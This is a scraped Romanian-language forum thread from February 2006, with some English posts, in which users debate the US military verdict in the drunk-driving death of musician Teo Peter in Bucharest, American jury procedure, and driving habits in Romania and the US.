american, cand se intampla asa ceva cu cate o celebritate de la noi, se
inchid ochii, se face pierdut dosarul si cate nu se mai intampla. Acuma
daca vinovat de aceasta fapta se face un cetatean american, sar
majoritatea sa i se ia capul si nu e " fair"smileys/smiley2.gif

02.02.2006, 06:47
Born2Cook, inteleg diferenta intre cele doua infractiuni, dar argumentul pe care l-ai ridicat tu era ca americani nu ar acepta o asa situatie, ca un suspect sa fie trimes in alta tara sa fie judecat. Puscariile americane sunt pline de emigranti care au incalcat legea, a fost alegerea lor sa se duca in Ro sa fie judecati acolo.


Si pe urma, soldatul american nu putea fi acuzat de murder, ci de Involuntary Manslaughter, una se pedepseste cu moarte sau inchisoare pe vita, alta de obicei cucatva ani cu suspendare. Dar vezi tu, fiecare selecteaza ce vrea din conversatiile astea, fara sa ia in consideratie the big picture, ca a fost un accident si nimeni nu a planuit moarte lui Teo. Inteleg ca rezultatul este in final acelas, dar in ochii lumii si al legi este o mare diferenta.


Agora, am citit stirea in mai multe ziare romanesti, Evenimentul Zile, Libertatea si Adevarul......vrei tu sa sa spui ca Adevarul minte?smileys/smiley2.gif


Sau tu crezi numai ce iti convine?


http://www.evenimentulzilei.ro/eveniment/?news_id=210217

southjersey
02.02.2006, 07:52
Si pe urma, soldatul american nu putea fi acuzat de murder, ci de Involuntary Manslaughter, una se pedepseste cu moarte sau inchisoare pe vita, alta de obicei cucatva ani cu suspendare.


Involuntary manslaughter while driving under the influence and running a stop sign?


Vrei sa spui ca daca tu omori pe cineva aici in timp ce conduci beat si treci pe rosu iei citiva ani cu suspendare?

southjersey
02.02.2006, 10:56
Iata alte citeva exemple de "involunatry manslaughter":


*Ianuarie 2006. Lewis Welshofer Jr., soldatul american care a fost gasit vinovat de un tribunal militar de omucidere prin neglijenta, dupa ce a ucis un general irakian luat prizonier, a fost condamnat la 6.000 de dolari amenda si interdictia de a parasi cazarma timp de doua luni. El era acuzat ca i-a pus un sac in cap generalului irakian Abed Hamed Mowhush in timpul unui interogatoriu, in noiembrie 2003, dupa care s-a asezat pe pieptul lui pana cand detinutul a decedat.
* Mai 2005. Sergentul american Craig Steven Fischer, 42 de ani, gazduit de Baza Militara 86 de la Mihail Kogalniceanu, a accidentat un batran din Constanta, care se angajase regulamentar pe o trecere de pietoni.
* Aprilie 2003. Un elicopter Apache a bombardat, in localitatea irakiana Hilla, un camion cu 15 civili, membri ai aceleiasi familii, omorandu-i pe toti. Taras Trotyuk, 35 de ani, cameraman la televiziunea Reuters, si Jos

02.02.2006, 11:24
I am simply speechless!smileys/smiley5.gif</font>

garfield
02.02.2006, 11:27
I am simply speechless!smileys/smiley5.gif


Me too. I think we should just kill all the Americans, and rid the world of all evil. smileys/smiley57.gif

garfield
02.02.2006, 11:30
jersey boy, now that you gave us 4 examples of accidents caused by americans, try to see how many accidents caused by romanians you can find. Fair is fair right?

southjersey
02.02.2006, 12:15
Am dat exemple de accidente produse de cetateni americani aflati intr-o postura oficiala, accidente care nu s-au soldat cu pedepsirea celor vinovati. Nicidecum nu am vorbit de accidente produse de John Doe, asa cum nu am vorbit nici de cele produse de Ion Ionescu.


Faptul ca mi te adresezi cu "jersey boy" nu ma sperie si nici nu ma pune intr-o postura de inferioritate. Dimpotriva...


Faptul ca am enumerat citeva evenimente din categoria celui al carui victima a fost Teo Peter nu are nici o legatura cu statistica. Imi pare rau daca am adus un afront cetatenilor acestei tari pe care o adori. Personal, nu sint interesat de cetatenia sau de limba pe care o vorbeste cineva ci de modul in care actioneaza ca individ. In cazul de fata, faptul ca autorul accidentului este cetatean american este o pura intimplare. La fel as fi reactionat daca ar fi fost cetatean canadian, iugoslav, congolez sau japonez. Sint insa convins ca daca aceasta ar fi fost situatia nu ai fi venit aici sa ma tragi parinteste de urechi.


Toate cele bune! smileys/smiley1.gif

GNChicago
02.02.2006, 14:07
Este regretabil ca Teo Peter a murit in accident, deasemenea e regretabil cind vezi aitia politicieni care iau o atitudine post factum.


Daca erau interesati de acest caz, Tariceanu trebuia sa trimita soferul taxiului la proces, impreuna cu ceilalti martori, impreuna cu Teo Peter jr. si familia acestuia......, dar toti incearca sa puncteze in favoarea lor.


Americanii nu au schimbat procedura legala doar pentru acest caz, dar au lipsit martorii principali, in special soferul taxiului care l-ar fi localizat pe Teo Peter in taxi si ar fi descris aceasta tragedie si atunci Sergentul american ar fi fost condamnat la zece ani inchisoare spre satisfactia tuturor acelora care acum vor sa iasa in evidenta.


Oare de ce nu au facut atita scandal cind Sotia lui adrian Paunescu a omorit trei persoane si a lasat o fata orfana de ambii parinti si i-au cumparat acesteia un laptop asa cum a spus pe un post de TV, pedeapsa primita de sotia lui Adrian Paunescu este trei ani de inchisoare cu SUSPENDARE!!!!


Alti demnitari si bogatasi romani au omorit in accidente de masina, cinci persoane, trei persoane, o persoana si nu au stat nici macar o zi la inchisoare......, sau mai recent un popa a omorit cu masina o femeie si nici nu a oprit sa-i aprinda o luminare ci s-a dus direct la crishma sa mai traga un rachiu....


Ar fi cazul ca primaria oraselor din Romania sa revizuiasca semnele de circulatie din Romania si guvernul sa revizuiasca codul rutier!!!


In acest fel s-ar salva multe vieti a multor oameni care mor pe soselele din Romania.

garfield
02.02.2006, 15:09
GN, fie ca semnul era sau nu vizibil, toata lumea care a obtinut permis de conducere in Romania stie ca atunci cind te apropii de o intersectie trebuie sa reduci viteza pina la limita evitarii oricarui pericol. Apoi, daca nu vezi nici un semn pe sensul tau de mers, te uiti sa vezi daca pe drumul pe care il intersectezi sint indicatoare de reglementare a traficului. Mai mult, te poti uita daca traficul din sens opus are sau nu indicatoare (daca vezi forma caracteristica a indicatorului STOP trebuie sa iti imaginezi ca si tu ar trebui sa ai un semn asemanator).


Umm do I dare ask if you drive like you preach? Do you slow down or stop at every intersection to look for markings on the other street? That has to be the wackiest thing I've heard in a long time. Do you do that at night too? Maybe you get out of the car with a flashlight to check for signs on the other street. smileys/smiley5.gif


First of all, I've never in my life seen anyone do that, or heard of anyone do that. Second, just because one street has a stop sign it most certainly does not mean the intersecting street has it also. NOT ALL intersections have 4-way stop signs, and any way, when you drive you really shouldn't be looking up in the trees of intersecting streets.


If you've been to Romania lately you should know that not only don't drivers stop for any sign, but they slalom between people, drive the wrong way on one-way streets, and park on sidewalks, forcing pedestrians onto the streets, where they become moving targets.


You should alsoknow that a large number of accidents happen because some moron drives slow in the third lane (probably lookingatthe oncoming lanes) blatantly refusing to move with the traffic, or get out of the way, therefore forcing everyone behind him do pass him on the right.

AlexandruD
02.02.2006, 15:11
In tara matuselor milionare in dolari, era de asteptat sa nu se faca scandal pentru o persoana importanta, in speta sotia lui A. P.
Revizuirea codului rutier nu e absolut necesara. Poate revizuirea mentalitatii romanului ar trebui promovata. Desi exista reguli, stii ca atunci cand conduci o masina proasta nu ai nici drept? Sunt destui oameni care au facut 4 clase si s-au trezit cu 200 de cai sub capota. Iar acesti oameni nici macar nu reactioneaza cand vad o masina proasta. Si sa nu mai vorbim ca cel care are cea mai puternica masina si cea mai rezistenta are intotdeauna prioritate. Incearca tu cu o masina inferioara sa-i demonstrezi contrariul!
Si ca sa dau si un exemplu, acum aprox. o saptamana ma plimbam cu un prieten prin Baneasa. La un moment dat, un individ intr-o masina mare a facut si el o gluma "buna" - crede el... Sau macar s-a dat mare... Si-a aprins stroboscoapele (blitz-urile alea care se pot pune la faruri) si din senin a intrat pe contrasens... Doar doua benzi pe drum, una dus, una intors... si uite asa lumea se joaca Need For Speed, si dupa aceea ia masinuta din garaj si iese pe strada sa opreasca alte masini, fiindca el este fiu de om important si-si permite orice, iar ceilalti nu valoreaza nimic. Iar acum scriu de acasa si nu din spital fiindca in fata masinii care o conducea prietenul meu era o Skoda care a avut inspiratia de a merge incet in acel moment....
Degeaba schimbi codul rutier daca pe strazi lumea inca "ia acasa" semnele sa-si faca gard din ele. La fel si gropile din asflat care se adancesc pe zi ce trece, iar nimeni nu vede pana nu se raneste un om.

garfield
02.02.2006, 15:12
Eu zic ca regulile din Romania sint bune insa nimeni nu le respecta. Se circula haotic nu pentru ca circulatia nu e reglementata ci pentru ca vrem sa aratam ca sintem "tari" si pe noi nu ne face o lege...


I don't know what the laws there are, but I definitely agree with you, that whatever they are, nobody obeys them.

garfield
02.02.2006, 15:37
[QUOTE=agora]pt. garfield

garfield
02.02.2006, 15:51
Eu unul sunt profund indignat si totodata trist deoarece dela justitia americana m-as fi asteptat la mai mult ....


rossa, I can understand your indignation and disappointment in the outcome of this case, but you need to understand that every person, even if they are guilty, will try to do everything humanly possible to avoid being punished. Very few if any will plead guilty and welcome their sentence.


Ourjudicial system is designed such, that the prosecution has to prove beyond a reasonable doubt that a person is guilty, before they can be sentenced. Public opinion does not matter, and in some cases, trials are actually moved out of the county where the crime occurred if the public reaction is so severe, that the defendant would not stand a chance for a fair trial with an unbiased jury.


For example,look at the Michael Jackson case. Just about everyone was convinced that he is a sick and twistedpedophile, but his lawyers were able to discredit all the witnesses, and now he is home free.

southjersey
02.02.2006, 15:55
Garfield, ma crezi sau nu, eu sint atent la tot ce se intimpla in jurul meu. Asta se numeste "atentie distributiva". Da, cind ma apropii de o intersectie decelerez si, daca e nevoie, fie frinez usor, fie sint pregatit sa frinez brusc daca situatia o cere. Asta nu inseamna ca intru in intersectie cu 5 mph. Daca sint in trafic mentin aceeasi viteza cu traficul. Daca sint singur ma comport cum am descris mai inainte. Cind conduc noaptea observ semnele de cind intra in bataia farurilor si atunci pot anticipa ce am de facut. Daca ma apropii de o intersectie nesemnalizata (in SUA astfel de intersectii sint in zone de slow traffic) atunci am grija sa ma asigur ca drumul pe care il intersectez e OK (noaptea e suficient sa te uiti daca se vad lumini sau nu, semn ca un autovehicul se apropie de intersectie). In cazul in care alt autovehicul se apropie de intersectie in acelasi timp atunci reduc viteza si eventual opresc (daca trebuie sa acord prioritate de dreapta).


Ma fac ca nu observ ironia din primul paragraf si iti raspund ca da, se poate sa conduci prudent fara a fi o pacoste pentru ceilalti implicati in trafic. Multa lume considera insa condusul o chestiune de rutina (start the car - drive - park - turn the engine off) si uita ca de fapt e un lucru foarte serios.


Viteza cu care conduc eu depinde de drumul pe care merg. De multe ori merg peste viteza legala (nu ma spune! smileys/smiley36.gif) si am avut zone in care am mers si cu mai mult de 100 mph (fiindca drumul era OK, vizibilitatea excelenta, cauciucurile suportau temperaturile aferente unei asemenea viteze iar masina inspectata inainte de plecare) dar asta se intimpla cind sint singur. Cindsint in trafic(sau am pasageri) atunci ma adpatez la situatie.


E drept ca in Romania regulile nu se respecta deloc. Personal, cit am fost acolo am evitato groaza deaccidente numai fiindca am avut prezenta de spirit. Imi aduc aminte fiindca odata era sa omor o intreaga nunta (mergeau in coloana pe un drum local neiluminat iar singurele lumini erau de la luminarile de nunta aflate in fata coloanei. Initial am crezut ca e un tractor dar cind am ajuns la circa 30 m am observat coloana si a trebuit sa-i evit printr-o manevra brusca). Singurele accidente in care am fost implicat sint:


- un accident cu ranire de persoana in apropiere de Ploiesti cind un batrin a sarit din pom, noaptea, in fata masinii mele si acum iti raspund ca da, ma uit si in pomi de atunci smileys/smiley1.gif. L-am lovit fiindca am avut de ales intre a accidenta un grup aflat pe partea a dreapta a carosabilului, a intra pe contrasens sau...


- un accident al carui victima am fost (si pe care l-am descris intr-unul din mesajele anterioare)


Referitor la circulatia din SUA: aici nu se conduce corect fiindca lumea e constienta ci fiindca toti se tem de lawsuit. smileys/smiley4.gifSi totusi, pe citi nu ai vazut facind orice altceva in timp ce conduceau? (barbierit, fardat, citit, chiar si sex! smileys/smiley36.gif)

garfield
02.02.2006, 16:10
jersey, if you really drive the way you say you do, we have to get you to teach driver's ed. smileys/smiley36.gif


Seriously, I just never met anyone that does that. My ex-wife however used to always look at the cars in the on-coming lane. She would tell me she had seen me driving down the road, and she waved. I would always reply that I was too busy looking ahead, trying not to hit the car in front of me, to look on the opposing lane at people waving at me. I should mentioned that her driving got her into several accidents, one time running over a poor guy trying to cross the street. She must have been waving at someone at the time. smileys/smiley93.gif

southjersey
02.02.2006, 16:20
smileys/smiley36.gifMi s-a intimplat si mie sa imi spuna diversi prieteni ca mi-au facut cu mina dar nu i-am observat.Sint atentla cei care vin din sens opus numai daca fac parte din categoria "hot, sexy women" smileys/smiley2.gifsi atunci chiar imi doresc ca ele sa-mi faca cu mina (macar asa...) smileys/smiley36.gifsmileys/smiley36.gifsmileys/smiley36.gif

garfield
02.02.2006, 16:23
basarab,Mugatu answered you perfectly on yourfirst statement.


[QUOTE=basarab]De aici trag concluzia ca americanii vin

garfield
02.02.2006, 16:25
numai daca fac parte din categoria "hot, sexy women" smileys/smiley2.gifsi atunci chiar imi doresc ca ele sa-mi faca cu mina (macar asa...) smileys/smiley36.gifsmileys/smiley36.gifsmileys/smiley36.gif


I agree, I agree. Ai grija numai sa faca cu mana, si nu numai cu un deget smileys/smiley2.gif

southjersey
02.02.2006, 16:31
Ma opresc aici fiindca imi zboara mintea la altele! smileys/smiley36.gifGood night!

garfield
02.02.2006, 16:40
born2cook, the American Marine, would have never been able to have a fair trial in Romania. The locals were hungry for revenge and they would have hung the poor guy. I don't mean hung literally of course.


As Mugatu said before and as I also mentioned, this would not have been such a big case if the victim had been a homeless person.


I do sympathize with the family of Teo Peter, and I do believe that drunk drivers kill innocent people, and should be punished. However, playing the devil's advocate, and for lack of information, does anyone know if there were any witnesses to this accident? If there were, why didn't they testify at the trial? I wouldn't put too much credibility in what the taxi driver states, because I've been in Romanian taxi cabs, and I feared for my life every single time. I also think it would be very unlikely that he would admit to doing anything wrong himself. Again, I don't know any details about the accident, and I'm just speculating. I do think though that if there were any witnesses at all, they should have testified.

garfield
02.02.2006, 16:53
jersey, don't go to bed yet, I'm not finished with you yet smileys/smiley36.gif


One last comment on the examples of accidents you mentioned before. Driving accidents are one thing, but an Apache helicopter attack on a civilian target, and a submarine collision with a vessel are examples of accidents, and unless malicious intent, or gross negligence and disregard for human life can be proven, I see them just as tragic accidents, not crimes.


basarab, try not to wish me in the place of the dead people or their families again.


OK, good night now smileys/smiley4.gif


PS. Tomorrowyou mustconfess all your impure thoughts smileys/smiley36.gif


I will create a new topic dedicated just for such confessions. smileys/smiley36.gif

sorin
03.02.2006, 01:22
Pentru cei interesati sa semneze o petitie in acest sens, iata ce am gasit:
http://new.petitiononline.com/00769200/petition.html (http://new.petiti&#111;n&#111;nline.com/00769200/petiti&#111;n.html)

agora
03.02.2006, 01:29
Pt Mugatu


Ai citit undeva ca

agora
03.02.2006, 01:41
pt. garfield


Sunt de acord cu ideea procedurilor cu conditia sa nu treaca de rolul lor de mijloace. Legat de cazul discutat cred ca trebuie sa ne folosim de ele pentru a afla adevarul si nu doar sa respectam un protocol. Procedurile utilizate in justitie au rolul de a face dreptate nu de a se justifica prin ele insele.


Faptul ca Statele au o justitie care merge acceptabil (cred ca, cateva tari care stau mai bine decat ei sunt Danemarca, Suedia, Olanda) nu consider a fi suficient. Statistica de care pomenesti e buna cat timp nu esti sub incidenta ei. Daca tu te simti in siguranta cu faptul ca un sistem juridic are o eficienta de 90% or 99% si consideri ca este un dat care trebuie acceptat, iti urez mult noroc si sa n-ai ghinion sa fi vreodata in acel 1% care incaseaza partea negativa a procedurilor. Eu consider ca orice sistem facut de om e perfectibil si ca e de datoria noastra de cetateni sa luam atitudine cand aflam ca ceva nu merge bine, indiferent ca e in State, Romania sau Irak.


Eu ma gandesc ca din cauza unor artificii procedurale,

03.02.2006, 02:20
[QUOTE=agora]


Atat in link-ul postat de mine cat si de tine e vorba de

GNChicago
03.02.2006, 02:30
Garfield, baiatule vezi ca unii iti scriu pe romaneste si nu stiu engleza si ar trebui sa le raspunzi tot pe romaneste sa inteleaga si ei si altii.


Basarab, referinta ta la China :" A piece of advice : america, be careful, China is behind you!" cred ca ar trebui sa ingrijoreze prima data Romania, Europa, etc.....


Imi amintesc ca se spunea "Invatati limba rusa cintind" sper sa nu ajungeti sa spuneti "Invatati limba chineza cintind". Speranta ramine tot la America, daca se va pune vreodata problema, sa nu ajungeti sa stati la coada ptr un pumn de orez pe saptamina.......

sorin
03.02.2006, 02:31
Personal, consider ca se deviaza de la subiect si in loc sa se argumenteze CONCRET daca sentinta data in cazul puscasului marin este corecta sau nu, s-a ajuns sa se discute daca un caine maidanez din Bucuresti ar trebui condamnat sau nu. Eu zic ca putem deschide un topic separat pentru a critica guvernul Romaniei si administratiile locale pentru ca nu rezolva problema cainilor vagabonzi, sau despre slabiciunile codurilor rutiere din <st1:country-regi&#111;n w:st="&#111;n"><st1:place w:st="&#111;n">Romania</st1:place></st1:country-regi&#111;n> sau SUA, iar aici sa discutam cazul mortii lui Teo Peter cu argumente legate doar de acest caz. Ce ziceti?
Parerea mea este ca avocatul acuzarii, nu a pregatit sufficient de bine acest process, neaducand macar martorii cheie la acest proces (guvernul trebuia sa se implice sis a trimita macar soferul taxiului si cineva de la ambulanta care a venit la fata locului), iar avocatul apararii a profitat de aceste slabiciuni. Sentinta nu este corecta din punct de vedere uman, dar greselile se platesc in cazul in care un avocat nu-si face cum trebuie temele de casa.
Ar trebui ca macar in procesul civil pe care familia lui Teo intentioneaza sa-l deschida impotriva statului american sau a puscasului marin, sa se pregateasca mult mai detaliat pledoaria acuzarii.

GNChicago
03.02.2006, 02:41
Sorine, semnele de circulatie din Romania si in Bucuresti in particular cred ca au avut o influenta hotaritoare asupra accidentului.


Americanii fac statistici si daca acea intersectie e considerata periculoasa atunci trebuia instalat un stop light cu rosu, galben si verde si atunci acest tragic accident nu ar mai fi avut loc.


Ar trebui data in judecata si municipalitatea orasului Bucuresti, deasemenea cei care fac codul rutier.

southjersey
03.02.2006, 02:51
Sorin, nu putem veni cu argumente concrete fiindca nici unul dintre noi nu a participat la proces si nu stim ce a fost si ce nu a fost invocat in procedura. Nu facem decit sa ne exprimam parerea in baza cunostintelor noastre juridice si a bunului simt pe care (sper) il posedam. Intr-adevar, sentinta nu este corecta fiindca mi se pare anormal ca atita timp cit ai luat viata unei persoane sa ti se dea peste mina, fara sa fii pedepsit in vreun alt fel.


S-a spus aici ca nu s-a putut demonstra prezenta lui Teo Peter in acel taxi. Oare nu exista un raport de politie? Si oare acel raport nu mentioneaza daca accidentul s-a soldat sau nu cu victime? Iar daca americanii neaga acest fapt, de ce s-au grabit sa-l scoata pe vinovat din Romania daca a fost doar un accident soldat exclusiv cu pagube materiale?


Justitia americana nu este perfecta. Sint destui oameni nevinovatiin puscarii. Mai trist este ca atunci cind se constata ca s-a comis o greseala, legea interzice compensarea celor arestati pe nedrept pentru suferinta produsa. Daca cei carecomit asemenea erori judiciare ar trebui sa plateasca daunele, atunci am vedea mai multa responsabilitate in justitie.


Indiferent de procedura, nimeni nu-mi poate impune sa ignor realitatea doar fiindca nu se circumscrie acestei proceduri. Nu pot spune "Teo Peternu e mort doar fiindcaacuzarea a omis sa probeze faptul cael a fost victima accidentului".


Mai apoi, trecind peste orice act procedural, e vorba de constiinta si de semnalul pe care autoritatile americane il dau cetatenilor sai. Acest semnal suna cam asa: "it's perfectly fine to commit a felony abroad. If you do, we'll bring you back here ASAP, slap your hand, and set you free".

southjersey
03.02.2006, 02:54
This is a little bit off-topic but I have to make Garfield happy! smileys/smiley1.gif


Of course, sinking that vessel was a mistake caused by a sonar malfunction (that's different from a wardrobe malfunction, Janet! smileys/smiley36.gif). What pisses me off is the attitude of the American official. You know, when you screwed up, you make nice. Being a jerk doesn't help you, nor your country...


To make the long story short, I agree with you. (Happy now?smileys/smiley1.gif ). Accidents happen. The difference is that when they happen because of you and you get away with it, Justice stops being just a blind entity, but crippled as well.

03.02.2006, 02:56
Sorin, ai dreptate ca sa deviat de la subiectul original, dar asa cum se intampla si in conversatiile intreoamenii, se potate avea latitudinea ca sa ne exprimam opiniile si sa ilustram fiecarepunctul nostru de vedere.

GNChicago
03.02.2006, 03:26
Southjersey, justitia americana cind judeca astfel de cazuri, porneste totul de la ZERO. Ori raportul politiei romane a fost facut dupa ce s-a intimplat accidentul. Singurul om care a vazut accidentul a fost soferul taxiului care trebuia sa depuna marturie sub juramint si sa povesteasca in fata juriului ce s-a intimplat.


Cum soferul taxiului nu a fost acolo totul poate fi descris ca in romane politiste si nu trebuie sa fii un avocat excelent sa dovedesti ca nu exista probe a tot ce s-a intimplat.


Atit politia cit si TV au fost acolo dupa ce s-a intimplat.


In cazul justitiei americane TOTUL trebuie dovedit si acest sistem lucreaza si justitia americana nu a fost creata anul trecut doar ptr cazul sergentului american.


Plecarea sergentului american din Romania a fost perfect legala, conform acordurilor bilaterale semnate de ambele guverne si nu poti acuza pe cineva care s-a incadrat in litera legii.


Personal cred ca Teo a fost in taxi si ca fost un tragic accident care nu s-ar fi intimplat if, if , if ( daca, daca, daca.....)....., dar parerea celor 12 jurati conteaza la judecata.

agora
03.02.2006, 03:29
pt. Mugatu


Raspunsul la mesajul tau e pe threadul de off-topic.

southjersey
03.02.2006, 03:36
Normal ca raportul a fost facut dupa producerea accidentului! Doar nu putea fi facut inainte de accident (exceptind cazul in care politistii nostri sint profeti) sau in timpul accidentului (caz in care politistul trebuia sa fie intr-una din masini si sa scrie raportul ca si cum ar comenta in direct). smileys/smiley36.gif


Politia a venit, evident, dupa producerea accidentului. In SUA vine inainte?


Nu am spus ca plecarea sergentului a fost ilegala si nu e doar ca urmare a unui tratat bilateral. Sint de acord ca el nu putea fi arestat in Romania si nici nu a fost.


Asa cum am spus mai devreme, nu ma leg de chestiunile procedurale. M-am referit doar la cele de constiinta. Si apoi, cred ca cei 12 jurati au fost convinsi de vinovatia sergentului dar au luat decizia in functie de componentele dosarului instrumentat in instanta.

agora
03.02.2006, 04:01
Am si eu o intrebare: raportul politiei din State nu are nici o valoare in procese? Pai atunci, de ce il mai scriu, doar ca sa tina minte pe unde au umblat sau ca sa-si justifice salariul?

aconi
03.02.2006, 04:07
Asa cum am spus mai devreme, nu ma leg de chestiunile procedurale. M-am referit doar la cele de constiinta. Si apoi, cred ca cei 12 jurati au fost convinsi de vinovatia sergentului dar au luat decizia in functie de componentele dosarului instrumentat in instanta.


[/QUOTE]


Este bine si este normal sa comentam referindu-ne si la constiinta.Dar, cei 12 jurati erau obligati "sa se lege" de chestiunile procedurale.Pentru a pronunta o solutie corecta, acestea trebuie sa se reflecte in constiinta si invers.S-a gresit prin faptul ca nu a fost audiat acel sofer de taxi care cunostea adevarul.Motivatiile vehiculate in presa romaneasca in sensul ca soferul a refuzat sa depuna marturie invocand motive subiective este o "poveste cusuta cu ata alba".Potrivit legislatiei,in Romania, orice cetatean care cunosate anumite imprejurari este obligat sa depuna marturie in fata instantei de judecata. Daca refuza este a adus cumandat de aducere.In U.S.A nu este asa?In concluzie,dupa parerea mea,s-a pronuntat o Hotarare care pune semnul egalitatii intre Justitia americana si cea romaneasca.In sfarsit, ne-ati ajuns!Eram obisnuit sa urmez exemplul american si nu invers.M-ati dezamagit frati jurati.

southjersey
03.02.2006, 04:15
Daca intr-adevar soferul a refuzat sa depuna marturie, este oare posibil ca el sa fi fost "despagubit" (ca sa nu folosesc termeni mai duri) pentru a nu comparea in instanta? Daca acesta este cazul atunci soferul roman este la fel de vinovat ca cel american. Cred ca statul roman ar trebui sa faca investigatii iar daca se constata ca acesta este adevarul, soferul de taxi ar trebui arestat.


In alta ordine de idei: in SUA, daca un martor refuza sa depuna marturie poate fi arestat sub acuzatia de "obstruction of justice".

03.02.2006, 05:40
In alta ordine de idei: in SUA, daca un martor refuza sa depuna marturie poate fi arestat sub acuzatia de "obstruction of justice".





Total eronat, in america poti sa refuzi sa depui marturie, se numeste 5th ammedment. Tot ce trebuie sa spui este ca daca depui marturie poti sa te incriminezi singur si asta este impotriva legi....smileys/smiley2.gifSoferul de taxi este suspectat si el ca nu a respectat regulile de trafic.


"Obstruction of justice is a criminal charge and it refers to any interference of the administration and due process of law. This can take place during an investigation, as well as during a trial. Anyone who knowingly interferes with the work of police officers, investigators, or government agencies can be charged. Someone can also be charged with obstruction of justice if they impair the efforts of a court trial. For example, threatening a juror or witness. Generally, obstruction charges are laid when it is discovered that a person questioned in an investigation, who is not a suspect, has lied to the investigating officers."

hazel
03.02.2006, 06:36
Si eu sunt dezamagita de aceasta sentinta. Ca tot speculam, nu ma pot impiedica sa ma intreb cum ar fi decurs lucrurile daca un soldat american beat la volan ar fi calcat cu masina pe un cetatean francez, italian, canadian, australian?


Oare cei care lucreaza sa aduca dovezi in instanta si sa intocmeasca (,) capete de acuzare aici in SUA s-ar fi straduit mai tare ca sa gaseasca mai multe dovezi? Nu pun la indoiala faptul ca soldatul a avut un avocat foarte bun si la urma urmei asta e rolul unui avocat al aparararii, sa scoata basma curata pe acuzat. Dar, pentru ca alte exemple nu am la indemana, urmaresc si eu si mai invat cate ceva din Law and Order. Sunt constienta ca din lipsa de dovezi multi vinovati pot sa iasa basma curata, asa cum sunt si constienta ca atunci cand isi pun mintea cei ce aduc si cauta dovezile de vinovatie si cei care acuza, pot merge pana in panzele albe.
In fine, astea-s vorbe goale si nu ajuta acum pe nimeni, Mugatu si Garfield, oricate argumente obiective ati aduce nu aveti cum sa puneti capac sentimentelor de amaraciune si frustrare care ii incearca acum pe romani.


De asemenea nu vad nici un folos in aducerea aici a listei de americani care au scapat basma curata in urma incalcarii legilor din alte tari. Pentru mine nu dovedeste nimic decat ca cel care o face doreste sa arate numai o fateta a problemei. Daca cei care au cautat aceste liste ar fi vrut sa ramana obiectivi ar fi gasit si liste unde vinovati americani in alte tari au fost condamnati si dati de exemplu pentru faptele grave savarsite in afara USA.
Pentru southjersey am un comentariu pe care il voi pune la offtopic.

southjersey
03.02.2006, 06:37
Imi cer scuze pentru eroare. Multumesc pentru ca m-ai corectat. De acum incolo, daca sint citat ca martor pot sa le spun sa-si vada de treaba (in engleza ar suna altfel dar mi-e teama ca ma da Sorin afara smileys/smiley36.gif)

garfield
03.02.2006, 06:45
Cand mai auzi pe viitor de un fraier omorat de unul care era baut la volan gandeste-te ca poate tembelul nu a fost la prima abatere si a putut sa o faca gratie unor proceduri sterile sustinute de cei care, ca si tine, nu iau atitudine si le accepta pentru simplul fapt ca nu au nici o idee de a face lucrurile sa mearga mai bine.


agora, sa stii ca legile in US sunt stricte pentru cei care omoara sub influenta drogurilor, sau al alcoholului. Pentru cei care nici nu sunt la prima infractiune, sentinta e si mai severa. Sunt anumite variatii in lege depinde de stat si county, dar in general sunt destul de asemanatoare pedepsele.

garfield
03.02.2006, 06:50
Garfield, baiatule vezi ca unii iti scriu pe romaneste si nu stiu engleza si ar trebui sa le raspunzi tot pe romaneste sa inteleaga si ei si altii.


De fapt toti imi scriu in romaneste, dar stiam capersoanele la care ma adresam, inteleg engleza fara probleme. Pentru restul de 'lurkers' imi cer scuze.

garfield
03.02.2006, 06:59
Mai apoi, trecind peste orice act procedural, e vorba de constiinta si de semnalul pe care autoritatile americane il dau cetatenilor sai. Acest semnal suna cam asa: "it's perfectly fine to commit a felony abroad. If you do, we'll bring you back here ASAP, slap your hand, and set you free".


I'm dying to find out how you reached this conclusion. The same laws apply to crimes committed in US or abroad. Anyone with a poorly prepared prosecution can get off free, by simply showing reasonable doubt. The burden of proof is on the prosecution, but the same rules apply to everyone.


As far as the message given to the American public... The procedure you describe applies only to persons that benefit from diplomatic immunity, andI can almost guarantee that with the exception of the parties involved, nobody else even knows about this case.

GNChicago
03.02.2006, 07:24
Southjersey, incerci sa fii haios privitor la sosirea politiei inainte de producerea accidentului. Se pare ca esti destul de proaspat venit in USA, spun asta bazat pe citeva afirmatii a-le tale.


Daca un politist s-ar fi aflat in post prezent in clipa aceea acolo atunci el ar fi putut depune marturie ca martor, dar ei au venit dupa producerea accidentului, la fel si TV si ceilalti. Jobul politistilor a fost sa interogheze la fata locului si sa scrie in raport ce au auzit dar ei nu sunt pe pozitie de judecatori ci numai consemneaza faptele. Acestea sunt spuse din nou in fata judecatorului sub juramint de data asta ca spun adevarul si numai adevarul, iar acesta face decizia sau cei 12 jurati fac decizia pe baza faptelor expuse de martorii oculari, ori soferul taxiului nu a fost acolo, deci acolo martorul principal nu a fost acolo.


Southjersey, am convingerea ca cei 12 jurati au constiinta curata si ei au respectat legea americana, ei au fost acolo ptr a decide conform legilor americane, vinovat fara niciun dubiu, dar in cazul de fata au fost suficiente dubii generate de lipsa martorilor. Ca de exemplu, martori oculari ca Teo a fost la o repetitie pina la ora de...., de acolo a fost vazut urcindu-se intr-un taxi de culoare rosu sau galben ori ce culoare avea, pe urma trecatori aflati intimplator pe acolo, sau politisti aflati in misiune sau intimplator acolo in timpul accidentului, etc. etc..ori toate aceste elemente au lipsit.


AGORA, raportul politiei conteaza pentru consemnarea faptelor, darc totul trebuie verificat ca acuratete si trebuie repetat sub juramint in fata judecatorului si a juratilor.


Nu prea inteleg de ce iti ascunzi locatia, ptrca oricum esti anonim, dar oricum iti respect alegerea ta, nu inainte de a te ruga sa fii mai deschis privitor la locatie, chiar daca alti forumisti vor da cu tunul, nu conteaza daca alegi sa fii impartial si sa spui exact ce crezi chiar daca citeodata omul mai greseste.


ACONI, nu conteaza ce crezi tu sau eu, important e ca cei 12 jurati au respectat legea si au decis in conformitate cu legea.


Iti garantez ca daca iei 12 studenti romani care cunosc engleza si 12 studenti americani si le citesti legea americana, verdictul ar fi la fel in conditiile in care soferul taxiului nu s-a prezentat la proces.


Southjersey, nu ti-am scris cam de multisor...., la sosirea mea in USA aveam si eu momente in care assumam multe lucruri pina cind un american m-a luat si mi-a explicat ce inseamna ASSuME. L-am scris intentionat cu litere mici si litere mari.


Mi-a explicat ca atunci cind tu assumi ceva atunci faci unASS din u (you) and Me. Deaceea never assume anything ever decit daca ai fapte.


